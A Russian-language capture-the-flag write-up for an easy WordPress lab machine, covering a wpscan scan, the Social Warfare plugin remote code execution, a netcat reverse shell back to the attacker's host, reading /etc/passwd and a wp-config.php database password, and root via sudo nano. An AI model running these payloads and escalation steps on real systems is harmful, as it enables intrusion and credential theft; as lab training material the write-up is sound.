



Название:	Скрипт-кидди
Категория:	Pentest Machine
Уровень:	Легкий
Очки:	700
Описание:	Этот квест станет любимым для всех любителей использовать готовые эксплойты :3
Теги:	WordPress Social Warfare plugin, sudo nano
Автор:	Trager

## Разведка

---

Нам доступен веб-интерфейс с WordPress на 49898 порту:

The screenshot shows a WordPress dashboard. At the top, there's a header bar with the URL '172.17.0.2:49898'. Below it, the main dashboard has a sidebar on the left with 'Dashboard', 'Posts', 'Media', 'Pages', 'Comments', 'Users', and 'Themes'. The main content area features a large banner with the text 'Mindblown: a blog about philosophy.' in a large serif font. Below the banner, there are two posts. The first post is titled 'About WordPress plugins' and contains placeholder text from 'Lorem ipsum' to 'occaecat [...]' with a date of 'April 16, 2023'. The second post is titled 'Hello world!' with the text 'Welcome to WordPress. This is your first post. Edit or delete it, then start writing!' and a date of 'April 16, 2023'. At the bottom, there's a call-to-action button 'Get In Touch'.

Используем `wpScan`, чтобы проверить WP на уязвимости:

Можем проэксплуатировать неавторизованную RCE:

```

[+] social-warfare
| Location: http://172.17.0.2:49898/wp-content/plugins/social-warfare/
| Last Updated: 2023-02-15T16:23:00.000Z
| [!] The version is out of date, the latest version is 4.4.1

| Found By: Urls In Homepage (Passive Detection)
| Confirmed By:
| Urls In 404 Page (Passive Detection)
| Comment (Passive Detection)

[!] 4 vulnerabilities identified:

[!] Title: Social Warfare < 3.5.2 - Unauthenticated Arbitrary Settings Update
Fixed in: 3.5.3
References:
- https://wpscan.com/vulnerability/32085d2d-1235-42b4-baeb-bc43172a4972
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9978
- https://wordpress.org/support/topic/malware-into-new-update/
- https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
- https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/143051/
- https://twitter.com/warfareplugins/status/1108826025188909057
- https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/

[!] Title: Social Warfare < 3.5.2 - Unauthenticated Remote Code Execution (RCE) ←
Fixed in: 3.5.3
References:
- https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618
- https://www.webarxsecurity.com/social-warfare-vulnerability/

[!] Title: Social Warfare < 4.3.1 - Subscriber+ Post Meta Deletion
Fixed in: 4.3.1
References:
- https://wpscan.com/vulnerability/5116068f-4b84-42ad-a88d-03e46096b41c
  https://www.cvedetails.com/cve/CVE-2022-0102

```

Делаем всё согласно инструкции:

```

└─(tragernout㉿kali)-[~/Desktop/Quest1]
└─$ touch payload.txt

└─(tragernout㉿kali)-[~/Desktop/Quest1]
└─$ echo "<pre>system('cat /etc/passwd')</pre>" > payload.txt

└─(tragernout㉿kali)-[~/Desktop/Quest1]
└─$ ip r
default via 192.168.1.1 dev eth0 proto dhcp src 192.168.1.48 metric 100
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1
192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.48 metric 100

└─(tragernout㉿kali)-[~/Desktop/Quest1]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

```

Получаем RCE (удалённое выполнение кода) :

```
root:x:0:0:root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd
Resolver,,,:/run/systemd:/usr/sbin/nologin mysql:x:103:104:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin systemd-timesync:x:105:106:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
kiddie:x:1000:1000::/home/kiddie:/bin/sh
```

No changes made.

## Получение первоначального доступа

Делаем следующий пэйлоад и получаем шелл:

```
└─(tragernout㉿kali)-[~/Desktop/Quest1]
$ cat payload.txt
<pre>system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.48 9898 >/tmp/f')</pre>
└─(tragernout㉿kali)-[~/Desktop/Quest1]
$ nc -nlvp 9898
listening on [any] 9898 ...
connect to [192.168.1.48] from (UNKNOWN) [172.17.0.2] 35138
sh: 0: can't access tty; job control turned off
$ ┌─
```

Стабилизуем оболочку:

```
python3 -c 'import pty;pty.spawn("/bin/bash")' stty raw -echo; fg export
TERM=xterm
```

Смотрим wp-config.php :

```
www-data@d811e804c651:/var/www/html$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'kiddie' );

/** Database password */
define( 'DB_PASSWORD', 'erMfrbUvRQpchsy' );

/** Database hostname */
define( 'DB_HOST', '127.0.0.1' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
```

Пробуем эти данные, чтобы авторизоваться за пользователя kiddie:

```
www-data@d811e804c651:/var/www/html$ su - kiddie
Password:
$ whoami
kiddie
$
```

## Повышение привилегий

Проверяем наши sudo -возможности:

```
www-data@d811e804c651:/var/www/html$ su - kiddie
Password:
$ whoami
kiddie
$ ls
first_part
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
kiddie@d811e804c651:~$ sudo -l
Matching Defaults entries for kiddie on d811e804c651:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User kiddie may run the following commands on d811e804c651:
    (ALL) NOPASSWD: /usr/bin/nano /tmp/*.*txt
kiddie@d811e804c651:~$
```

Мы можем запустить `nano` от лица суперпользователя. Важно знать то, что через `nano` можно запускать любые команды операционной системы:

```
kiddie@d811e804c651:~$ sudo /usr/bin/nano /tmp/*.*txt
```



```
GNU nano 6.2                               /tmp/* .txt
                                           
                                           
                                           
Command to execute: whoami
^G Help          M-F New Buffer  ^S Spell Check  ^J Full Justify ^V Cut Till End
^C Cancel        M-\ Pipe Text   ^Y Linter       ^O Formatter   ^Z Suspend
GNU nano 6.2                               /tmp/* .txt *
root
                                           
                                           
                                           
[ Read 1 line ]
^G Help          ^O Write Out  ^W Where Is   ^K Cut          ^T Execute   ^C Location
^X Exit         ^R Read File  ^\ Replace    ^U Paste       ^J Justify   ^/ Go To Line
```

Переходим на `gtfobins`, чтобы узнать как получить полноценную оболочку через `sudo nano`:

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo nano
^R^X
reset; sh 1>&0 2>&0
```

Повышаем свои привилегии:

The screenshot shows a terminal window with a black background and white text. At the top, it says "GNU nano 6.2" and the current file path is "/tmp/\*.\*txt \*". Below this, the word "root" is displayed, indicating a root shell. The main area of the terminal is mostly blank, showing a large diagonal line from the top-left to the bottom-right. At the bottom of the terminal window, there is a command line interface with the following text:  
Command to execute: reset; sh 1>&0 2>&0  
A menu bar at the bottom lists various keyboard shortcuts: ^G Help, M-F New Buffer, ^S Spell Check, ^J Full Justify, ^V Cut Till End, ^C Cancel, M-\ Pipe Text, ^Y Linter, ^O Formatter, ^Z Suspend.

GNU nano 6.2 /tmp/\*.\*txt \*

root

[ Executing ... ]#

^G Help ^C Cancel M-F New Buffer M-\ Pipe Text ^S Spell Check ^Y Linter ^J Full Justify ^O Formatter ^V Cut Till End ^Z Suspend

sh: : : not found

# lsancel

first\_part

# whoami

root

#

[ Executing ... ]# ls^H^H^W

^S Spell Check ^Y Linter ^J Full Justify ^O Formatter ^V Cut Till End ^Z Suspend

- Step 1: A red arrow points from the status bar to the command line, specifically highlighting the command being executed: [ Executing ... ]# ls^H^H^W.
- Step 2: A red arrow points from the status bar to the error message: sh: : : not found.
- Step 3: A red arrow points from the status bar to the user's root privilege indicator: root.